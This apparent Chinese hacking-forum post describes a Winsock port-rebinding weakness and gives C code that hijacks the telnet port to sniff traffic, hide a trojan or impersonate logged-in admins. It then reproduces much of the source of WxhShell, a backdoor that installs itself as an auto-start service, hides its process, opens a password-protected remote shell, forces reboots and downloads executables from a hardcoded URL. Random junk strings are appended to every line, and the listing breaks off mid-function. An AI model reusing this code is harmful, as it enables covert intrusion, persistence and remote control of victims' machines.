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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pZ'q_Oux  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E;CM"Y*  
e:Y+-C5  
  saddr.sin_family = AF_INET; vQLYWRXiA  
x7/Vf,N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Oe;#q  
Is4,QnY_[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g0j)k6<6(Y  
`;Tf_6c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ywJ [WfCY  
h,R Isq;`  
  这意味着什么?意味着可以进行如下的攻击: J-tqEK*  
nC p/.]Y*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?d3K:|g  
Xd%qebK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X3G593ts  
:W0p3 6"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 12U]=  
sMGo1pG(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N_NN0  
?Vd~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Va(l$zD  
BS fmS(.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 : B&~q$  
c ^ds|7i]a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C zJ-tEO  
jKmjZz8L]%  
  #include # &.syD#  
  #include /al56n  
  #include FTCIfW  
  #include    x9>$197  
  DWORD WINAPI ClientThread(LPVOID lpParam);   */h(4Hz  
  int main() 3XlQ4  
  { fE~KWLm  
  WORD wVersionRequested; y!gPBkG&3n  
  DWORD ret; xR0*w7YE  
  WSADATA wsaData; V8 8u -  
  BOOL val; &zF>5@fM  
  SOCKADDR_IN saddr; UDr 1t n  
  SOCKADDR_IN scaddr; ]%D!-[C%1  
  int err; Pv5S k8  
  SOCKET s; #aL.E(%  
  SOCKET sc; pRV.\*:c  
  int caddsize; ]:Ep1DIMl  
  HANDLE mt; K9EHT-  
  DWORD tid;   dP_Q kO  
  wVersionRequested = MAKEWORD( 2, 2 ); >hNSEWMY`  
  err = WSAStartup( wVersionRequested, &wsaData ); CWkWW/ZI  
  if ( err != 0 ) { }{N#JTmjB#  
  printf("error!WSAStartup failed!\n"); 'O)v@p "  
  return -1; <@(\z   
  } ):PN0.H8  
  saddr.sin_family = AF_INET; xF!IT"5D  
   wA$7SWC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &*OwoTgk+  
w3,KqF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g/.FJ-I*  
  saddr.sin_port = htons(23); Y9X,2L7V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E>QS^)ih  
  { S|tA%2z  
  printf("error!socket failed!\n"); k*;U?C!  
  return -1; 5%2~/ "  
  } 'S6zkwC]  
  val = TRUE; EM@|^47$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n R,QG8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) THq}>QI  
  { -Ct+W;2  
  printf("error!setsockopt failed!\n"); c9[{P~y  
  return -1; 3iw3:1RZUZ  
  } d~QKZ&jf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; acS~%^"<_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sC\?{B0 r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WDghlC6g!l  
L-E &m*%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F}l3\uC]  
  { _'cB<9P  
  ret=GetLastError(); mH$`)i8  
  printf("error!bind failed!\n"); h81giY]  
  return -1; VgXT4gO!  
  } (nLzWvN  
  listen(s,2); m#BXxS#B<_  
  while(1) EwzcB\m  
  { X[?fU&  
  caddsize = sizeof(scaddr); }Y7P2W+4?  
  //接受连接请求 _qPKdGoM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]zj#X\  
  if(sc!=INVALID_SOCKET) 7fypUQ:y  
  { IrYj#,xJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &I-:=ir  
  if(mt==NULL) q0%QMut%  
  { T^^7@\vDI  
  printf("Thread Creat Failed!\n"); =M?+KbTJ3  
  break; }R+#>P  
  } VvIUAn  
  } $)*qoV  
  CloseHandle(mt); A v>v\ :.>  
  } %G(VYCeK  
  closesocket(s); uSXnf  
  WSACleanup(); RDSC@3%  
  return 0; EFDmNud`Q  
  }   [@qjy*5p  
  DWORD WINAPI ClientThread(LPVOID lpParam) $A~aNI  
  { -`5]%.E&8  
  SOCKET ss = (SOCKET)lpParam; xT&/xZLT  
  SOCKET sc; [gUD +  
  unsigned char buf[4096]; rOLZiET  
  SOCKADDR_IN saddr; r(wf>w3  
  long num; 40=u/\/K  
  DWORD val; O\Y*s  
  DWORD ret; 3. dSS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w|G7h=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yH:p*|%:  
  saddr.sin_family = AF_INET; ih)\P0wed  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >{Ayzz>v  
  saddr.sin_port = htons(23); 38&K"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XS2/U<s d  
  { x$jLB&+ICz  
  printf("error!socket failed!\n"); pWE(?d_M{G  
  return -1; rCqwJoC`v  
  } a\m=E#G  
  val = 100; z4D)Xy"/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) , SUx!o  
  { F}mt *UcMG  
  ret = GetLastError(); GTbV5{Ss  
  return -1; sQ\HIU%]  
  } 7p'pz8n`X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &jEw(P&_  
  { /NB|N*}O)  
  ret = GetLastError(); KU "+i8"  
  return -1; Il\{m?Y  
  } |a])o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O=}  
  { p5rq>&"  
  printf("error!socket connect failed!\n"); n'vdA !R  
  closesocket(sc); ? .B t.  
  closesocket(ss); T*B`8P  
  return -1; 'S}3lsIE  
  } hB<(~L? A]  
  while(1) ghW`xm87  
  { rg[#(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +Goh`!$Rj9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |#t^D.j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !ckluj  
  num = recv(ss,buf,4096,0); IX 6 jb"  
  if(num>0) }Uj-R3]}K  
  send(sc,buf,num,0); roriNr/ e  
  else if(num==0) ;K l'[~z  
  break; B:i$  
  num = recv(sc,buf,4096,0); o:UNSr  
  if(num>0) rvhMu}.  
  send(ss,buf,num,0); lhE]KdE3  
  else if(num==0) "}0QxogYE  
  break; ci? \W6  
  } mK7SEH;  
  closesocket(ss); Yt_tAm  
  closesocket(sc); 6&i])iH  
  return 0 ; 7^.g\Kt?  
  } =v|$dDz  
+5O^{Ce6  
sw1gpkX  
========================================================== &)q>Z!C-l  
^Hf?["m^@  
下边附上一个代码,,WXhSHELL !RLXB$@`  
|jH Yf42Q  
========================================================== lM#/F\  
X pK eN2=p  
#include "stdafx.h" FN26f*/  
p;zT #%  
#include <stdio.h> 9^sz,auB  
#include <string.h> /3Y"F"`M.  
#include <windows.h> g]MgT-C|  
#include <winsock2.h> |LZ+_  
#include <winsvc.h> G a$2o6  
#include <urlmon.h> .pxUO3g  
FS)C<T]t  
#pragma comment (lib, "Ws2_32.lib") m/g[9Y  
#pragma comment (lib, "urlmon.lib") mm!JNb9(  
NU.4_cixb  
#define MAX_USER   100 // 最大客户端连接数 asvM/ 9  
#define BUF_SOCK   200 // sock buffer 3# 0Nd"/0  
#define KEY_BUFF   255 // 输入 buffer u&`rK7 J  
OWr\$lm@z$  
#define REBOOT     0   // 重启 IWddJb~hu  
#define SHUTDOWN   1   // 关机 H2g#'SK@  
{P?p*2J'  
#define DEF_PORT   5000 // 监听端口 k'"R;^~xg  
W>CG;x{  
#define REG_LEN     16   // 注册表键长度 o<s~455m/  
#define SVC_LEN     80   // NT服务名长度 n|.>41bJ  
9O&MsTmg$  
// 从dll定义API KCa @0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); um". Z4S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T.{]t6t$U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #K-O<:s=y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A)SnPbI-p  
_!Z}HCk  
// wxhshell配置信息 qpf|.m  
struct WSCFG { G!F_Q7|-  
  int ws_port;         // 监听端口 %gqu7}'  
  char ws_passstr[REG_LEN]; // 口令 A$zC$9{0I  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?56;<%0  
  char ws_regname[REG_LEN]; // 注册表键名 s<C66z  
  char ws_svcname[REG_LEN]; // 服务名 p)Ht =~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <pT1p4T<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y!u">M#@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dqt}:^L*0g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }p9#Bzc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZD?LsD3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zU|'IW&  
TuwSJS7  
}; ZQ\O| n8  
5Yk|  
// default Wxhshell configuration  GXTjK!  
struct WSCFG wscfg={DEF_PORT, q+4<"b+6G  
    "xuhuanlingzhe", #zn`)n  
    1, S6yLq|W0  
    "Wxhshell", @, z4{B  
    "Wxhshell", q"g4fzCD  
            "WxhShell Service", .'1]2/ad  
    "Wrsky Windows CmdShell Service", O~Dm|hP  
    "Please Input Your Password: ", We"\nOP  
  1, l2!ztK1^  
  "http://www.wrsky.com/wxhshell.exe", m0Uk*~Gz  
  "Wxhshell.exe" `LTD|0;  
    }; 2F,?}jJ.K  
unN*L  
// 消息定义模块 riglEA[^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FePWr7Ze  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b]Lp_t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :7qJ[k{g  
char *msg_ws_ext="\n\rExit."; @A%\;o o  
char *msg_ws_end="\n\rQuit."; F B&l|#e  
char *msg_ws_boot="\n\rReboot..."; nhq,Y0YH  
char *msg_ws_poff="\n\rShutdown..."; eGrxS;NY  
char *msg_ws_down="\n\rSave to "; Xr|e%]!**  
6bpO#&T  
char *msg_ws_err="\n\rErr!"; VpM(}QHd  
char *msg_ws_ok="\n\rOK!"; y[f6J3/  
0ARj3   
char ExeFile[MAX_PATH]; ALR`z~1  
int nUser = 0; \z-OJ1[F  
HANDLE handles[MAX_USER]; R|7_iMIZ  
int OsIsNt; ]<o^Q[OL  
/T<,vR  
SERVICE_STATUS       serviceStatus; hQJ-  ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2\xEMec  
l\=He  
// 函数声明 KJ6:ZTbW  
int Install(void); &K,rNH'R  
int Uninstall(void); 6~8X/ -02  
int DownloadFile(char *sURL, SOCKET wsh); A0uA\E4q  
int Boot(int flag); qzE -y-9@  
void HideProc(void); +,0 :L :a  
int GetOsVer(void); r}XsJ$  
int Wxhshell(SOCKET wsl); +&)&Ny$W  
void TalkWithClient(void *cs); 0yKPYA*j  
int CmdShell(SOCKET sock); vo'{phtF)M  
int StartFromService(void); hL/  
int StartWxhshell(LPSTR lpCmdLine); lH oV>k  
4,6nk.$yN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * p,2>[e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m-|~tve  
F!6;< !&h  
// 数据结构和表定义  gm@%[  
SERVICE_TABLE_ENTRY DispatchTable[] = dO[pm0  
{ nc>Ae`"(  
{wscfg.ws_svcname, NTServiceMain}, 'miY"L:| O  
{NULL, NULL} |Z{ DU(?[b  
}; q;qY#wD@  
EAnw:yUV(  
// 自我安装 n@| &jh  
int Install(void) D5fhOq+g  
{ 6%UhP;(  
  char svExeFile[MAX_PATH]; I/w=!Ih  
  HKEY key; qRA ,-N  
  strcpy(svExeFile,ExeFile); xcu:'7'K[  
T#G (&0J5  
// 如果是win9x系统,修改注册表设为自启动 IWAp  
if(!OsIsNt) { (Z};(Hn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %y2 i1^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { BDUl3T  
  RegCloseKey(key); 92D f.xI}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pr"~W8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h*X u/aOg  
  RegCloseKey(key); -MH~1Tw6Z  
  return 0; 9iQc\@eGd  
    } rXg#_c5j  
  } -D30(g{O  
} NYN(2J  
else { T,Zfz9{n  
oSqkAAGz\  
// 如果是NT以上系统,安装为系统服务 79Si^n1\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K9N\E"6ZP  
if (schSCManager!=0) XnI)s^  
{ 095Z Z20  
  SC_HANDLE schService = CreateService >c 5V VA8  
  ( IgU65p  
  schSCManager, xs3t~o3y  
  wscfg.ws_svcname, ){{]3r  
  wscfg.ws_svcdisp, Snf1vH  
  SERVICE_ALL_ACCESS, sa>}wz<o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZA/:\6gm  
  SERVICE_AUTO_START, xp"5L8:C  
  SERVICE_ERROR_NORMAL, vL:tuEE3  
  svExeFile, Hb{G RG70  
  NULL, 4XL]~3 c  
  NULL, :raYt5n1,y  
  NULL, /MQI5Djg  
  NULL, LZG ~1tf  
  NULL $j!VJGVG  
  ); _3?7iH  
  if (schService!=0) V:8ph`1  
  { yzQ^KqLH  
  CloseServiceHandle(schService); %?[H=v(b  
  CloseServiceHandle(schSCManager); Yhkn(k2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^l"  
  strcat(svExeFile,wscfg.ws_svcname); {:r8X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h q& 2o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VY=c_Gl  
  RegCloseKey(key); v"dj%75O?e  
  return 0; 89{@2TXR  
    } b!Z-HL6  
  } l^ aUN  
  CloseServiceHandle(schSCManager); <rs"$JJV  
} <n:j@a\up0  
} zf>r@>S!L  
}TS4D={1  
return 1; <MH| <hP  
} ?YO$NYwE  
zg=F;^oZ<  
// 自我卸载 4uG:*0{Yx  
int Uninstall(void) Nn;p1n dN  
{ WhHnF*I  
  HKEY key; z rV  
zT5@wm  
if(!OsIsNt) { iB,Nqs3 i*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u.s-/ g  
  RegDeleteValue(key,wscfg.ws_regname); $zvqjT:>  
  RegCloseKey(key); <U ?_-0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZiS<vWa3R  
  RegDeleteValue(key,wscfg.ws_regname); H,!3s<1  
  RegCloseKey(key); ?!J{Mrdn  
  return 0; 9"YOj_z  
  } S%7^7MSqA  
} BiUOjQC#  
} .v3~2r*&  
else { YQI&8~z  
T]%:+_,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); phA^ kdW  
if (schSCManager!=0) $m;rOKVU  
{ KF[P /cFI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MH>CCT  
  if (schService!=0) >dW~o_u'QN  
  { [z1[4  
  if(DeleteService(schService)!=0) { T53|*~u  
  CloseServiceHandle(schService); /Af:{|'$%  
  CloseServiceHandle(schSCManager); D`bH_1X  
  return 0; q{W@J0U  
  } ;(0E#hGN  
  CloseServiceHandle(schService); :/kz*X=<  
  } c?NXX&  
  CloseServiceHandle(schSCManager); zl W 5$cC[  
} -nQ:RHnd  
} d|9B3I*I  
Lit@ m2{\  
return 1; tDl1UX  
} K)AJx"  
Q`dzn=  
// 从指定url下载文件 [CU]fU{$  
int DownloadFile(char *sURL, SOCKET wsh) ]oN:MS4r  
{ 5mD]uB9  
  HRESULT hr; vbeYe2;(  
char seps[]= "/"; xJ|3}o:,  
char *token; E r6'Ig|U  
char *file; hYS*J908  
char myURL[MAX_PATH];  ?vgHu  
char myFILE[MAX_PATH]; ]KS|r+  
i$Q$y hT{  
strcpy(myURL,sURL); 2U-F}Z  
  token=strtok(myURL,seps); Qifjv0&;u  
  while(token!=NULL) G6N$^HkW?  
  { ,h'q}5  
    file=token; XujVOf  
  token=strtok(NULL,seps); YJlpP0;++  
  } "`Q.z~  
S[bFS7[  
GetCurrentDirectory(MAX_PATH,myFILE); j#TtY|Po  
strcat(myFILE, "\\"); +K3SAGm  
strcat(myFILE, file); /=zzym~<>  
  send(wsh,myFILE,strlen(myFILE),0); S?bG U8R5  
send(wsh,"...",3,0); Zjz< Q-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); do2~LmeW  
  if(hr==S_OK) N|v3a>;*l  
return 0; n_Ht{2I  
else /N`l z>^~  
return 1; TS9=A1J#  
(Z YGfX  
} H}OOkzwrA  
5Mfs)a4j.  
// 系统电源模块 cC_L4  
int Boot(int flag) D2`tWRm0  
{ ic}M)S FD;  
  HANDLE hToken; K0#kW \4`  
  TOKEN_PRIVILEGES tkp; a sDq(J`sQ  
'Jb6CR n  
  if(OsIsNt) { MX%D %} N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b5hJaXJN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q][{?  
    tkp.PrivilegeCount = 1; Y~qv 0O6K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KKR@u(+"a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); km; M!}D  
if(flag==REBOOT) { ?NZKu6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P&@:''  
  return 0; gHLBtl/  
} vV.TK_ y  
else { [Yx)`e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fI2/v<[  
  return 0; 0W|}5(C  
} a}Db9=  
  } etX &o5A  
  else { Yq;|Me{h  
if(flag==REBOOT) { E\V-< ]o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S~QL x  
  return 0; =X(8 [ e  
} =v4;t'_^  
else { qW57h8M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mJ=3faM  
  return 0; yv:8=.r}M  
} <MhjvHg  
} !c`K zqP  
x/NR_~Rnk  
return 1; qRg^Bp'VD#  
} <_HK@E<_HO  
gO*:< B g  
// win9x进程隐藏模块 v$R+5_@[l  
void HideProc(void) ({#9gTP2b  
{ xkIRI1*!  
x.rOP_rs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (R _#lRaQ  
  if ( hKernel != NULL ) [C PgfVz  
  { H[ 6L!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tn-_3C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m_Owe/BC#m  
    FreeLibrary(hKernel); IL?mt2IQ>  
  } ~429sT(   
 D(}w$hi8  
return; sh []OSM  
} `C~RA, M  
. z/M (  
// 获取操作系统版本 WPBn?vb0<  
int GetOsVer(void) HS{a^c%  
{ W]!{Y'G  
  OSVERSIONINFO winfo; re9*q   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q:I2\E  
  GetVersionEx(&winfo); NZ(c>r6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MS~c  $  
  return 1; 0n25{N  
  else 0f.rjd  
  return 0; d\Xi1&&  
} rlEp&"+|M  
" gB.  
// 客户端句柄模块 ?@U7tNI  
int Wxhshell(SOCKET wsl) ].f28bY  
{ G3{t{XkV  
  SOCKET wsh; TqbDj|7`R  
  struct sockaddr_in client; \\80c65-  
  DWORD myID; jd9GueV*(  
-LF0%G  
  while(nUser<MAX_USER)  8+no>%L  
{ GE`:bC3  
  int nSize=sizeof(client); ,f`435R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k r0PL)$  
  if(wsh==INVALID_SOCKET) return 1; #hEN4c[Ex  
W+ tI(JZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vkdU6CZO  
if(handles[nUser]==0) ze!S4&B  
  closesocket(wsh); >[ r TUn;  
else Qp{gV Ys  
  nUser++; (fmcWHs  
  } s; 'XX}Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CmaV>  
]:CU.M1  
  return 0; 8(R%?> 8  
} ueO&%  
{C>.fg%t  
// 关闭 socket N&`VMEB)k  
void CloseIt(SOCKET wsh) "4c ?hH:C  
{ Ue:'55  
closesocket(wsh); UUy%:t  
nUser--; n:zoN2lC  
ExitThread(0); )i&z!|/2  
} +I$c+WfU  
B4^+&B#  
// 客户端请求句柄 WvG0hts=[  
void TalkWithClient(void *cs) cE}R7,y  
{ z?$F2+f&  
RZm}%6##ZC  
  SOCKET wsh=(SOCKET)cs; '=!@s1;{[;  
  char pwd[SVC_LEN]; (0s7<&Iu  
  char cmd[KEY_BUFF]; LG6VeYe|\X  
char chr[1]; 6QsH?!bu  
int i,j; >C"f'!oM,j  
p F\~T>  
  while (nUser < MAX_USER) { )ndcBwQc"  
,}15Cse  
if(wscfg.ws_passstr) { M17oAVN7D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BIf E+L(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s`* 'JM<  
  //ZeroMemory(pwd,KEY_BUFF);  %Gp%l  
      i=0; uU v yZ  
  while(i<SVC_LEN) { )X{x\ /N  
`IQ01FuP  
  // 设置超时 -"qw5Y_oF?  
  fd_set FdRead; 7;dTQ.%n  
  struct timeval TimeOut; y9d[-j ;w  
  FD_ZERO(&FdRead); mA|&K8H  
  FD_SET(wsh,&FdRead); t3ua5xw  
  TimeOut.tv_sec=8; uP<w rlW  
  TimeOut.tv_usec=0; 5urM,1SQ@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wjk-$p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sS5 ]d8  
Rk2V[R.`S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EL!V\J`S_  
  pwd=chr[0]; 74YMFI   
  if(chr[0]==0xd || chr[0]==0xa) { Q3MG+@)S  
  pwd=0; D"o}XTH  
  break; y=i_:d0M  
  } Bw-<xwD  
  i++; T'9I&h%\  
    } yX%T-/XJ  
.<zW(PW  
  // 如果是非法用户,关闭 socket KK; 3<kX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !g}?x3  
} ~_WsjD0O  
pEk^;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Y&LlB 2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Le3H!9lbc  
,i>u>YNZ  
while(1) { 3-cCdn  
}ge~Nu>w  
  ZeroMemory(cmd,KEY_BUFF); b_= $W  
Xd%c00"U  
      // 自动支持客户端 telnet标准   !mNXPqnN  
  j=0; O]{3aMs!Y  
  while(j<KEY_BUFF) { VU+`yQp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IXb]\ )  
  cmd[j]=chr[0]; } ).rD  
  if(chr[0]==0xa || chr[0]==0xd) { f8`K8Y]4  
  cmd[j]=0; ,at"Q$)T  
  break; n< UuVu  
  } ,KvF:xqA  
  j++; Uc,D&Og  
    } 6^U8Utx  
_DPWp,k<~  
  // 下载文件 P7GuFn/p~2  
  if(strstr(cmd,"http://")) { zbHNj(~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q) %F#g  
  if(DownloadFile(cmd,wsh)) j^ L"l;m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MhMY"bx8  
  else E$5)]<p! <  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ6:c7hp>D  
  } |J: n'}  
  else { z-<091,  
f,:SI&c\  
    switch(cmd[0]) { /DOV/>@5%  
  &u5OL?>  
  // 帮助 hE>ux"_2/  
  case '?': { C^ngdba\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \l^L?69  
    break; :^7P. lhK  
  } e?W-vi%  
  // 安装 U ObI&*2  
  case 'i': { `"CIy_m  
    if(Install()) )eFXjnHN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $hexJzX  
    else ~B!O X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9kmEg$WM  
    break; r0ml|PX  
    } FEqs4<}E  
  // 卸载 *a_U2}N  
  case 'r': { z%xWP&3%"  
    if(Uninstall()) +X[+SF)!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [J0f:&7\  
    else nY(>|!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P{ YUW~  
    break; Vfkm{*t)  
    } H#pl&/+  
  // 显示 wxhshell 所在路径 g)7~vm2/,  
  case 'p': { nx #0*r}5  
    char svExeFile[MAX_PATH]; NQQ+l0txI  
    strcpy(svExeFile,"\n\r"); V +#Sb  
      strcat(svExeFile,ExeFile); HUF],[N  
        send(wsh,svExeFile,strlen(svExeFile),0); Tb~|p_;o  
    break; (,Zy 2wr=  
    } y/}[S@4uB  
  // 重启 zrt\] h+  
  case 'b': { o+UCu`7e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +O`3eP`u  
    if(Boot(REBOOT)) <a9<rF =r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%G/%*7;c  
    else { VyQ@. Lm  
    closesocket(wsh); 32y GIRV  
    ExitThread(0); gDHgXD D_b  
    } ? yL3XB>  
    break; T(LqR?xOo  
    } 0 p  6  
  // 关机 t%@sz  
  case 'd': { a=(D`lQ8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,;3#}OGg  
    if(Boot(SHUTDOWN)) }yQ&[Mt  
